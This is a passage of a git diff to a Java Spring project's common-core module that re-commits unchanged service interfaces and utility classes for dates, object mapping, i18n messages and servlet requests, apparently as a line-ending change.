org.dromara.common.core.domain.dto.UserDTO; + +import java.util.List; + +/** + * 通用 用户服务 + * + * @author Lion Li + */ +public interface UserService { + + /** + * 通过用户ID查询用户账户 + * + * @param userId 用户ID + * @return 用户账户 + */ + String selectUserNameById(Long userId); + + /** + * 通过用户ID查询用户账户 + * + * @param userId 用户ID + * @return 用户名称 + */ + String selectNicknameById(Long userId); + + /** + * 通过用户ID查询用户账户 + * + * @param userIds 用户ID 多个用逗号隔开 + * @return 用户名称 + */ + String selectNicknameByIds(String userIds); + + /** + * 通过用户ID查询用户手机号 + * + * @param userId 用户id + * @return 用户手机号 + */ + String selectPhonenumberById(Long userId); + + /** + * 通过用户ID查询用户邮箱 + * + * @param userId 用户id + * @return 用户邮箱 + */ + String selectEmailById(Long userId); + + /** + * 通过用户ID查询用户列表 + * + * @param userIds 用户ids + * @return 用户列表 + */ + List selectListByIds(List userIds); + + /** + * 通过角色ID查询用户ID + * + * @param roleIds 角色ids + * @return 用户ids + */ + List selectUserIdsByRoleIds(List roleIds); + + /** + * 通过角色ID查询用户 + * + * @param roleIds 角色ids + * @return 用户 + */ + List selectUsersByRoleIds(List roleIds); + + /** + * 通过部门ID查询用户 + * + * @param deptIds 部门ids + * @return 用户 + */ + List selectUsersByDeptIds(List deptIds); +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/WorkflowService.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/WorkflowService.java index 4e556c9..bd3ef80 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/WorkflowService.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/WorkflowService.java @@ -1,76 +1,76 @@ -package org.dromara.common.core.service; - -import java.util.List; -import java.util.Map; - -/** - * 通用 工作流服务 - * - * @author may - */ -public interface WorkflowService { - - /** - * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - * @return 结果 - */ - boolean deleteRunAndHisInstance(List businessKeys); - - /** - * 获取当前流程状态 - * - * @param taskId 任务id - */ - String getBusinessStatusByTaskId(String taskId); - - /** - * 获取当前流程状态 - * - * @param businessKey 业务id - */ - String getBusinessStatus(String businessKey); - - /** - * 设置流程变量(全局变量) - * - * @param taskId 任务id - * @param variableName 变量名称 - * @param value 变量值 - */ - void setVariable(String taskId, String variableName, Object value); - - /** - * 设置流程变量(全局变量) - * - * @param taskId 任务id - * @param variables 流程变量 - */ - void setVariables(String taskId, Map variables); - - /** - * 设置流程变量(本地变量,非全局变量) - * - * @param taskId 任务id - * @param variableName 变量名称 - * @param value 变量值 - */ - void setVariableLocal(String taskId, String variableName, Object value); - - /** - * 设置流程变量(本地变量,非全局变量) - * - * @param taskId 任务id - * @param variables 流程变量 - */ - void setVariablesLocal(String taskId, Map variables); - - /** - * 按照业务id查询流程实例id - * - * @param businessKey 业务id - * @return 结果 - */ - String getInstanceIdByBusinessKey(String businessKey); -} +package org.dromara.common.core.service; + +import java.util.List; +import java.util.Map; + +/** + * 通用 工作流服务 + * + * @author may + */ +public interface WorkflowService { + + /** + * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + * @return 结果 + */ + boolean deleteRunAndHisInstance(List businessKeys); + + /** + * 获取当前流程状态 + * + * @param taskId 任务id + */ + String getBusinessStatusByTaskId(String taskId); + + /** + * 获取当前流程状态 + * + * @param businessKey 业务id + */ + String getBusinessStatus(String businessKey); + + /** + * 设置流程变量(全局变量) + * + * @param taskId 任务id + * @param variableName 变量名称 + * @param value 变量值 + */ + void setVariable(String taskId, String variableName, Object value); + + /** + * 设置流程变量(全局变量) + * + * @param taskId 任务id + * @param variables 流程变量 + */ + void setVariables(String taskId, Map variables); + + /** + * 设置流程变量(本地变量,非全局变量) + * + * @param taskId 任务id + * @param variableName 变量名称 + * @param value 变量值 + */ + void setVariableLocal(String taskId, String variableName, Object value); + + /** + * 设置流程变量(本地变量,非全局变量) + * + * @param taskId 任务id + * @param variables 流程变量 + */ + void setVariablesLocal(String taskId, Map variables); + + /** + * 按照业务id查询流程实例id + * + * @param businessKey 业务id + * @return 结果 + */ + String getInstanceIdByBusinessKey(String businessKey); +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/DateUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/DateUtils.java index d70a874..2f82028 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/DateUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/DateUtils.java @@ -1,164 +1,164 @@ -package org.dromara.common.core.utils; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.apache.commons.lang3.time.DateFormatUtils; - -import java.lang.management.ManagementFactory; -import java.text.ParseException; -import java.text.SimpleDateFormat; -import java.time.*; -import java.util.Date; - -/** - * 时间工具类 - * - * @author ruoyi - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class DateUtils extends org.apache.commons.lang3.time.DateUtils { - - public static final String YYYY = "yyyy"; - - public static final String YYYY_MM = "yyyy-MM"; - - public static final String YYYY_MM_DD = "yyyy-MM-dd"; - - public static final String YYYYMMDDHHMMSS = "yyyyMMddHHmmss"; - - public static final String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss"; - - private static final String[] PARSE_PATTERNS = { - "yyyy-MM-dd", "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm", "yyyy-MM", - "yyyy/MM/dd", "yyyy/MM/dd HH:mm:ss", "yyyy/MM/dd HH:mm", "yyyy/MM", - "yyyy.MM.dd", "yyyy.MM.dd HH:mm:ss", "yyyy.MM.dd HH:mm", "yyyy.MM"}; - - /** - * 获取当前Date型日期 - * - * @return Date() 当前日期 - */ - public static Date getNowDate() { - return new Date(); - } - - /** - * 获取当前日期, 默认格式为yyyy-MM-dd - * - * @return String - */ - public static String getDate() { - return dateTimeNow(YYYY_MM_DD); - } - - public static String getTime() { - return dateTimeNow(YYYY_MM_DD_HH_MM_SS); - } - - public static String dateTimeNow() { - return dateTimeNow(YYYYMMDDHHMMSS); - } - - public static String dateTimeNow(final String format) { - return parseDateToStr(format, new Date()); - } - - public static String dateTime(final Date date) { - return parseDateToStr(YYYY_MM_DD, date); - } - - public static String parseDateToStr(final String format, final Date date) { - return new SimpleDateFormat(format).format(date); - } - - public static Date dateTime(final String format, final String ts) { - try { - return new SimpleDateFormat(format).parse(ts); - } catch (ParseException e) { - throw new RuntimeException(e); - } - } - - /** - * 日期路径 即年/月/日 如2018/08/08 - */ - public static String datePath() { - Date now = new Date(); - return DateFormatUtils.format(now, "yyyy/MM/dd"); - } - - /** - * 日期路径 即年/月/日 如20180808 - */ - public static String dateTime() { - Date now = new Date(); - return DateFormatUtils.format(now, "yyyyMMdd"); - } - - /** - * 日期型字符串转化为日期 格式 - */ - public static Date parseDate(Object str) { - if (str == null) { - return null; - } - try { - return parseDate(str.toString(), PARSE_PATTERNS); - } catch (ParseException e) { - return null; - } - } - - /** - * 获取服务器启动时间 - */ - public static Date getServerStartDate() { - long time = ManagementFactory.getRuntimeMXBean().getStartTime(); - return new Date(time); - } - - /** - * 计算相差天数 - */ - public static int differentDaysByMillisecond(Date date1, Date date2) { - return Math.abs((int) ((date2.getTime() - date1.getTime()) / (1000 * 3600 * 24))); - } - - /** - * 计算两个时间差 - */ - public static String getDatePoor(Date endDate, Date nowDate) { - long nd = 1000 * 24 * 60 * 60; - long nh = 1000 * 60 * 60; - long nm = 1000 * 60; - // long ns = 1000; - // 获得两个时间的毫秒时间差异 - long diff = endDate.getTime() - nowDate.getTime(); - // 计算差多少天 - long day = diff / nd; - // 计算差多少小时 - long hour = diff % nd / nh; - // 计算差多少分钟 - long min = diff % nd % nh / nm; - // 计算差多少秒//输出结果 - // long sec = diff % nd % nh % nm / ns; - return day + "天" + hour + "小时" + min + "分钟"; - } - - /** - * 增加 LocalDateTime ==> Date - */ - public static Date toDate(LocalDateTime temporalAccessor) { - ZonedDateTime zdt = temporalAccessor.atZone(ZoneId.systemDefault()); - return Date.from(zdt.toInstant()); - } - - /** - * 增加 LocalDate ==> Date - */ - public static Date toDate(LocalDate temporalAccessor) { - LocalDateTime localDateTime = LocalDateTime.of(temporalAccessor, LocalTime.of(0, 0, 0)); - ZonedDateTime zdt = localDateTime.atZone(ZoneId.systemDefault()); - return Date.from(zdt.toInstant()); - } -} +package org.dromara.common.core.utils; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.apache.commons.lang3.time.DateFormatUtils; + +import java.lang.management.ManagementFactory; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.time.*; +import java.util.Date; + +/** + * 时间工具类 + * + * @author ruoyi + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class DateUtils extends org.apache.commons.lang3.time.DateUtils { + + public static final String YYYY = "yyyy"; + + public static final String YYYY_MM = "yyyy-MM"; + + public static final String YYYY_MM_DD = "yyyy-MM-dd"; + + public static final String YYYYMMDDHHMMSS = "yyyyMMddHHmmss"; + + public static final String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss"; + + private static final String[] PARSE_PATTERNS = { + "yyyy-MM-dd", "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm", "yyyy-MM", + "yyyy/MM/dd", "yyyy/MM/dd HH:mm:ss", "yyyy/MM/dd HH:mm", "yyyy/MM", + "yyyy.MM.dd", "yyyy.MM.dd HH:mm:ss", "yyyy.MM.dd HH:mm", "yyyy.MM"}; + + /** + * 获取当前Date型日期 + * + * @return Date() 当前日期 + */ + public static Date getNowDate() { + return new Date(); + } + + /** + * 获取当前日期, 默认格式为yyyy-MM-dd + * + * @return String + */ + public static String getDate() { + return dateTimeNow(YYYY_MM_DD); + } + + public static String getTime() { + return dateTimeNow(YYYY_MM_DD_HH_MM_SS); + } + + public static String dateTimeNow() { + return dateTimeNow(YYYYMMDDHHMMSS); + } + + public static String dateTimeNow(final String format) { + return parseDateToStr(format, new Date()); + } + + public static String dateTime(final Date date) { + return parseDateToStr(YYYY_MM_DD, date); + } + + public static String parseDateToStr(final String format, final Date date) { + return new SimpleDateFormat(format).format(date); + } + + public static Date dateTime(final String format, final String ts) { + try { + return new SimpleDateFormat(format).parse(ts); + } catch (ParseException e) { + throw new RuntimeException(e); + } + } + + /** + * 日期路径 即年/月/日 如2018/08/08 + */ + public static String datePath() { + Date now = new Date(); + return DateFormatUtils.format(now, "yyyy/MM/dd"); + } + + /** + * 日期路径 即年/月/日 如20180808 + */ + public static String dateTime() { + Date now = new Date(); + return DateFormatUtils.format(now, "yyyyMMdd"); + } + + /** + * 日期型字符串转化为日期 格式 + */ + public static Date parseDate(Object str) { + if (str == null) { + return null; + } + try { + return parseDate(str.toString(), PARSE_PATTERNS); + } catch (ParseException e) { + return null; + } + } + + /** + * 获取服务器启动时间 + */ + public static Date getServerStartDate() { + long time = ManagementFactory.getRuntimeMXBean().getStartTime(); + return new Date(time); + } + + /** + * 计算相差天数 + */ + public static int differentDaysByMillisecond(Date date1, Date date2) { + return Math.abs((int) ((date2.getTime() - date1.getTime()) / (1000 * 3600 * 24))); + } + + /** + * 计算两个时间差 + */ + public static String getDatePoor(Date endDate, Date nowDate) { + long nd = 1000 * 24 * 60 * 60; + long nh = 1000 * 60 * 60; + long nm = 1000 * 60; + // long ns = 1000; + // 获得两个时间的毫秒时间差异 + long diff = endDate.getTime() - nowDate.getTime(); + // 计算差多少天 + long day = diff / nd; + // 计算差多少小时 + long hour = diff % nd / nh; + // 计算差多少分钟 + long min = diff % nd % nh / nm; + // 计算差多少秒//输出结果 + // long sec = diff % nd % nh % nm / ns; + return day + "天" + hour + "小时" + min + "分钟"; + } + + /** + * 增加 LocalDateTime ==> Date + */ + public static Date toDate(LocalDateTime temporalAccessor) { + ZonedDateTime zdt = temporalAccessor.atZone(ZoneId.systemDefault()); + return Date.from(zdt.toInstant()); + } + + /** + * 增加 LocalDate ==> Date + */ + public static Date toDate(LocalDate temporalAccessor) { + LocalDateTime localDateTime = LocalDateTime.of(temporalAccessor, LocalTime.of(0, 0, 0)); + ZonedDateTime zdt = localDateTime.atZone(ZoneId.systemDefault()); + return Date.from(zdt.toInstant()); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MapstructUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MapstructUtils.java index b6acff7..50e8dc7 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MapstructUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MapstructUtils.java @@ -1,93 +1,93 @@ -package org.dromara.common.core.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.map.MapUtil; -import cn.hutool.core.util.ObjectUtil; -import io.github.linpeilie.Converter; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; - -import java.util.List; -import java.util.Map; - -/** - * Mapstruct 工具类 - *

参考文档:mapstruct-plus

- * - * - * @author Michelle.Chung - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class MapstructUtils { - - private final static Converter CONVERTER = SpringUtils.getBean(Converter.class); - - /** - * 将 T 类型对象,转换为 desc 类型的对象并返回 - * - * @param source 数据来源实体 - * @param desc 描述对象 转换后的对象 - * @return desc - */ - public static V convert(T source, Class desc) { - if (ObjectUtil.isNull(source)) { - return null; - } - if (ObjectUtil.isNull(desc)) { - return null; - } - return CONVERTER.convert(source, desc); - } - - /** - * 将 T 类型对象,按照配置的映射字段规则,给 desc 类型的对象赋值并返回 desc 对象 - * - * @param source 数据来源实体 - * @param desc 转换后的对象 - * @return desc - */ - public static V convert(T source, V desc) { - if (ObjectUtil.isNull(source)) { - return null; - } - if (ObjectUtil.isNull(desc)) { - return null; - } - return CONVERTER.convert(source, desc); - } - - /** - * 将 T 类型的集合,转换为 desc 类型的集合并返回 - * - * @param sourceList 数据来源实体列表 - * @param desc 描述对象 转换后的对象 - * @return desc - */ - public static List convert(List sourceList, Class desc) { - if (ObjectUtil.isNull(sourceList)) { - return null; - } - if (CollUtil.isEmpty(sourceList)) { - return CollUtil.newArrayList(); - } - return CONVERTER.convert(sourceList, desc); - } - - /** - * 将 Map 转换为 beanClass 类型的集合并返回 - * - * @param map 数据来源 - * @param beanClass bean类 - * @return bean对象 - */ - public static T convert(Map map, Class beanClass) { - if (MapUtil.isEmpty(map)) { - return null; - } - if (ObjectUtil.isNull(beanClass)) { - return null; - } - return CONVERTER.convert(map, beanClass); - } - -} +package org.dromara.common.core.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.util.ObjectUtil; +import io.github.linpeilie.Converter; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; + +import java.util.List; +import java.util.Map; + +/** + * Mapstruct 工具类 + *

参考文档:mapstruct-plus

+ * + * + * @author Michelle.Chung + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class MapstructUtils { + + private final static Converter CONVERTER = SpringUtils.getBean(Converter.class); + + /** + * 将 T 类型对象,转换为 desc 类型的对象并返回 + * + * @param source 数据来源实体 + * @param desc 描述对象 转换后的对象 + * @return desc + */ + public static V convert(T source, Class desc) { + if (ObjectUtil.isNull(source)) { + return null; + } + if (ObjectUtil.isNull(desc)) { + return null; + } + return CONVERTER.convert(source, desc); + } + + /** + * 将 T 类型对象,按照配置的映射字段规则,给 desc 类型的对象赋值并返回 desc 对象 + * + * @param source 数据来源实体 + * @param desc 转换后的对象 + * @return desc + */ + public static V convert(T source, V desc) { + if (ObjectUtil.isNull(source)) { + return null; + } + if (ObjectUtil.isNull(desc)) { + return null; + } + return CONVERTER.convert(source, desc); + } + + /** + * 将 T 类型的集合,转换为 desc 类型的集合并返回 + * + * @param sourceList 数据来源实体列表 + * @param desc 描述对象 转换后的对象 + * @return desc + */ + public static List convert(List sourceList, Class desc) { + if (ObjectUtil.isNull(sourceList)) { + return null; + } + if (CollUtil.isEmpty(sourceList)) { + return CollUtil.newArrayList(); + } + return CONVERTER.convert(sourceList, desc); + } + + /** + * 将 Map 转换为 beanClass 类型的集合并返回 + * + * @param map 数据来源 + * @param beanClass bean类 + * @return bean对象 + */ + public static T convert(Map map, Class beanClass) { + if (MapUtil.isEmpty(map)) { + return null; + } + if (ObjectUtil.isNull(beanClass)) { + return null; + } + return CONVERTER.convert(map, beanClass); + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MessageUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MessageUtils.java index 48dfc08..5239f09 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MessageUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/MessageUtils.java @@ -1,33 +1,33 @@ -package org.dromara.common.core.utils; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.springframework.context.MessageSource; -import org.springframework.context.NoSuchMessageException; -import org.springframework.context.i18n.LocaleContextHolder; - -/** - * 获取i18n资源文件 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class MessageUtils { - - private static final MessageSource MESSAGE_SOURCE = SpringUtils.getBean(MessageSource.class); - - /** - * 根据消息键和参数 获取消息 委托给spring messageSource - * - * @param code 消息键 - * @param args 参数 - * @return 获取国际化翻译值 - */ - public static String message(String code, Object... args) { - try { - return MESSAGE_SOURCE.getMessage(code, args, LocaleContextHolder.getLocale()); - } catch (NoSuchMessageException e) { - return code; - } - } -} +package org.dromara.common.core.utils; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.springframework.context.MessageSource; +import org.springframework.context.NoSuchMessageException; +import org.springframework.context.i18n.LocaleContextHolder; + +/** + * 获取i18n资源文件 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class MessageUtils { + + private static final MessageSource MESSAGE_SOURCE = SpringUtils.getBean(MessageSource.class); + + /** + * 根据消息键和参数 获取消息 委托给spring messageSource + * + * @param code 消息键 + * @param args 参数 + * @return 获取国际化翻译值 + */ + public static String message(String code, Object... args) { + try { + return MESSAGE_SOURCE.getMessage(code, args, LocaleContextHolder.getLocale()); + } catch (NoSuchMessageException e) { + return code; + } + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ObjectUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ObjectUtils.java index 199fd82..93617b0 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ObjectUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ObjectUtils.java @@ -1,60 +1,60 @@ -package org.dromara.common.core.utils; - -import cn.hutool.core.util.ObjectUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; - -import java.util.function.Function; - -/** - * 对象工具类 - * - * @author 秋辞未寒 - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class ObjectUtils extends ObjectUtil { - - /** - * 如果对象不为空,则获取对象中的某个字段 ObjectUtils.notNullGetter(user, User::getName); - * - * @param obj 对象 - * @param func 获取方法 - * @return 对象字段 - */ - public static E notNullGetter(T obj, Function func) { - if (isNotNull(obj) && isNotNull(func)) { - return func.apply(obj); - } - return null; - } - - /** - * 如果对象不为空,则获取对象中的某个字段,否则返回默认值 - * - * @param obj 对象 - * @param func 获取方法 - * @param defaultValue 默认值 - * @return 对象字段 - */ - public static E notNullGetter(T obj, Function func, E defaultValue) { - if (isNotNull(obj) && isNotNull(func)) { - return func.apply(obj); - } - return defaultValue; - } - - /** - * 如果值不为空,则返回值,否则返回默认值 - * - * @param obj 对象 - * @param defaultValue 默认值 - * @return 对象字段 - */ - public static T notNull(T obj, T defaultValue) { - if (isNotNull(obj)) { - return obj; - } - return defaultValue; - } - -} +package org.dromara.common.core.utils; + +import cn.hutool.core.util.ObjectUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; + +import java.util.function.Function; + +/** + * 对象工具类 + * + * @author 秋辞未寒 + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class ObjectUtils extends ObjectUtil { + + /** + * 如果对象不为空,则获取对象中的某个字段 ObjectUtils.notNullGetter(user, User::getName); + * + * @param obj 对象 + * @param func 获取方法 + * @return 对象字段 + */ + public static E notNullGetter(T obj, Function func) { + if (isNotNull(obj) && isNotNull(func)) { + return func.apply(obj); + } + return null; + } + + /** + * 如果对象不为空,则获取对象中的某个字段,否则返回默认值 + * + * @param obj 对象 + * @param func 获取方法 + * @param defaultValue 默认值 + * @return 对象字段 + */ + public static E notNullGetter(T obj, Function func, E defaultValue) { + if (isNotNull(obj) && isNotNull(func)) { + return func.apply(obj); + } + return defaultValue; + } + + /** + * 如果值不为空,则返回值,否则返回默认值 + * + * @param obj 对象 + * @param defaultValue 默认值 + * @return 对象字段 + */ + public static T notNull(T obj, T defaultValue) { + if (isNotNull(obj)) { + return obj; + } + return defaultValue; + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ServletUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ServletUtils.java index bd1aab8..521fc51 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ServletUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ServletUtils.java @@ -1,289 +1,289 @@ -package org.dromara.common.core.utils; - -import cn.hutool.core.convert.Convert; -import cn.hutool.extra.servlet.JakartaServletUtil; -import cn.hutool.http.HttpStatus; -import jakarta.servlet.ServletRequest; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.servlet.http.HttpSession; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.springframework.http.MediaType; -import org.springframework.util.LinkedCaseInsensitiveMap; -import org.springframework.web.context.request.RequestAttributes; -import org.springframework.web.context.request.RequestContextHolder; -import org.springframework.web.context.request.ServletRequestAttributes; - -import java.io.IOException; -import java.net.URLDecoder; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import java.util.Collections; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Map; - -/** - * 客户端工具类,提供获取请求参数、响应处理、头部信息等常用操作 - * - * @author ruoyi - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class ServletUtils extends JakartaServletUtil { - - /** - * 获取指定名称的 String 类型的请求参数 - * - * @param name 参数名 - * @return 参数值 - */ - public static String getParameter(String name) { - return getRequest().getParameter(name); - } - - /** - * 获取指定名称的 String 类型的请求参数,若参数不存在,则返回默认值 - * - * @param name 参数名 - * @param defaultValue 默认值 - * @return 参数值或默认值 - */ - public static String getParameter(String name, String defaultValue) { - return Convert.toStr(getRequest().getParameter(name), defaultValue); - } - - /** - * 获取指定名称的 Integer 类型的请求参数 - * - * @param name 参数名 - * @return 参数值 - */ - public static Integer getParameterToInt(String name) { - return Convert.toInt(getRequest().getParameter(name)); - } - - /** - * 获取指定名称的 Integer 类型的请求参数,若参数不存在,则返回默认值 - * - * @param name 参数名 - * @param defaultValue 默认值 - * @return 参数值或默认值 - */ - public static Integer getParameterToInt(String name, Integer defaultValue) { - return Convert.toInt(getRequest().getParameter(name), defaultValue); - } - - /** - * 获取指定名称的 Boolean 类型的请求参数 - * - * @param name 参数名 - * @return 参数值 - */ - public static Boolean getParameterToBool(String name) { - return Convert.toBool(getRequest().getParameter(name)); - } - - /** - * 获取指定名称的 Boolean 类型的请求参数,若参数不存在,则返回默认值 - * - * @param name 参数名 - * @param defaultValue 默认值 - * @return 参数值或默认值 - */ - public static Boolean getParameterToBool(String name, Boolean defaultValue) { - return Convert.toBool(getRequest().getParameter(name), defaultValue); - } - - /** - * 获取所有请求参数(以 Map 的形式返回) - * - * @param request 请求对象{@link ServletRequest} - * @return 请求参数的 Map,键为参数名,值为参数值数组 - */ - public static Map getParams(ServletRequest request) { - final Map map = request.getParameterMap(); - return Collections.unmodifiableMap(map); - } - - /** - * 获取所有请求参数(以 Map 的形式返回,值为字符串形式的拼接) - * - * @param request 请求对象{@link ServletRequest} - * @return 请求参数的 Map,键为参数名,值为拼接后的字符串 - */ - public static Map getParamMap(ServletRequest request) { - Map params = new HashMap<>(); - for (Map.Entry entry : getParams(request).entrySet()) { - params.put(entry.getKey(), StringUtils.join(entry.getValue(), StringUtils.SEPARATOR)); - } - return params; - } - - /** - * 获取当前 HTTP 请求对象 - * - * @return 当前 HTTP 请求对象 - */ - public static HttpServletRequest getRequest() { - try { - return getRequestAttributes().getRequest(); - } catch (Exception e) { - return null; - } - } - - /** - * 获取当前 HTTP 响应对象 - * - * @return 当前 HTTP 响应对象 - */ - public static HttpServletResponse getResponse() { - try { - return getRequestAttributes().getResponse(); - } catch (Exception e) { - return null; - } - } - - /** - * 获取当前请求的 HttpSession 对象 - *

- * 如果当前请求已经关联了一个会话(即已经存在有效的 session ID), - * 则返回该会话对象;如果没有关联会话,则会创建一个新的会话对象并返回。 - *

- * HttpSession 用于存储会话级别的数据,如用户登录信息、购物车内容等, - * 可以在多个请求之间共享会话数据 - * - * @return 当前请求的 HttpSession 对象 - */ - public static HttpSession getSession() { - return getRequest().getSession(); - } - - /** - * 获取当前请求的请求属性 - * - * @return {@link ServletRequestAttributes} 请求属性对象 - */ - public static ServletRequestAttributes getRequestAttributes() { - try { - RequestAttributes attributes = RequestContextHolder.getRequestAttributes(); - return (ServletRequestAttributes) attributes; - } catch (Exception e) { - return null; - } - } - - /** - * 获取指定请求头的值,如果头部为空则返回空字符串 - * - * @param request 请求对象 - * @param name 头部名称 - * @return 头部值 - */ - public static String getHeader(HttpServletRequest request, String name) { - String value = request.getHeader(name); - if (StringUtils.isEmpty(value)) { - return StringUtils.EMPTY; - } - return urlDecode(value); - } - - /** - * 获取所有请求头的 Map,键为头部名称,值为头部值 - * - * @param request 请求对象 - * @return 请求头的 Map - */ - public static Map getHeaders(HttpServletRequest request) { - Map map = new LinkedCaseInsensitiveMap<>(); - Enumeration enumeration = request.getHeaderNames(); - if (enumeration != null) { - while (enumeration.hasMoreElements()) { - String key = enumeration.nextElement(); - String value = request.getHeader(key); - map.put(key, value); - } - } - return map; - } - - /** - * 将字符串渲染到客户端(以 JSON 格式返回) - * - * @param response 渲染对象 - * @param string 待渲染的字符串 - */ - public static void renderString(HttpServletResponse response, String string) { - try { - response.setStatus(HttpStatus.HTTP_OK); - response.setContentType(MediaType.APPLICATION_JSON_VALUE); - response.setCharacterEncoding(StandardCharsets.UTF_8.toString()); - response.getWriter().print(string); - } catch (IOException e) { - e.printStackTrace(); - } - } - - /** - * 判断当前请求是否为 Ajax 异步请求 - * - * @param request 请求对象 - * @return 是否为 Ajax 请求 - */ - public static boolean isAjaxRequest(HttpServletRequest request) { - - // 判断 Accept 头部是否包含 application/json - String accept = request.getHeader("accept"); - if (accept != null && accept.contains(MediaType.APPLICATION_JSON_VALUE)) { - return true; - } - - // 判断 X-Requested-With 头部是否包含 XMLHttpRequest - String xRequestedWith = request.getHeader("X-Requested-With"); - if (xRequestedWith != null && xRequestedWith.contains("XMLHttpRequest")) { - return true; - } - - // 判断 URI 后缀是否为 .json 或 .xml - String uri = request.getRequestURI(); - if (StringUtils.equalsAnyIgnoreCase(uri, ".json", ".xml")) { - return true; - } - - // 判断请求参数 __ajax 是否为 json 或 xml - String ajax = request.getParameter("__ajax"); - return StringUtils.equalsAnyIgnoreCase(ajax, "json", "xml"); - } - - /** - * 获取客户端 IP 地址 - * - * @return 客户端 IP 地址 - */ - public static String getClientIP() { - return getClientIP(getRequest()); - } - - /** - * 对内容进行 URL 编码 - * - * @param str 内容 - * @return 编码后的内容 - */ - public static String urlEncode(String str) { - return URLEncoder.encode(str, StandardCharsets.UTF_8); - } - - /** - * 对内容进行 URL 解码 - * - * @param str 内容 - * @return 解码后的内容 - */ - public static String urlDecode(String str) { - return URLDecoder.decode(str, StandardCharsets.UTF_8); - } - -} +package org.dromara.common.core.utils; + +import cn.hutool.core.convert.Convert; +import cn.hutool.extra.servlet.JakartaServletUtil; +import cn.hutool.http.HttpStatus; +import jakarta.servlet.ServletRequest; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.springframework.http.MediaType; +import org.springframework.util.LinkedCaseInsensitiveMap; +import org.springframework.web.context.request.RequestAttributes; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import java.io.IOException; +import java.net.URLDecoder; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; + +/** + * 客户端工具类,提供获取请求参数、响应处理、头部信息等常用操作 + * + * @author ruoyi + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class ServletUtils extends JakartaServletUtil { + + /** + * 获取指定名称的 String 类型的请求参数 + * + * @param name 参数名 + * @return 参数值 + */ + public static String getParameter(String name) { + return getRequest().getParameter(name); + } + + /** + * 获取指定名称的 String 类型的请求参数,若参数不存在,则返回默认值 + * + * @param name 参数名 + * @param defaultValue 默认值 + * @return 参数值或默认值 + */ + public static String getParameter(String name, String defaultValue) { + return Convert.toStr(getRequest().getParameter(name), defaultValue); + } + + /** + * 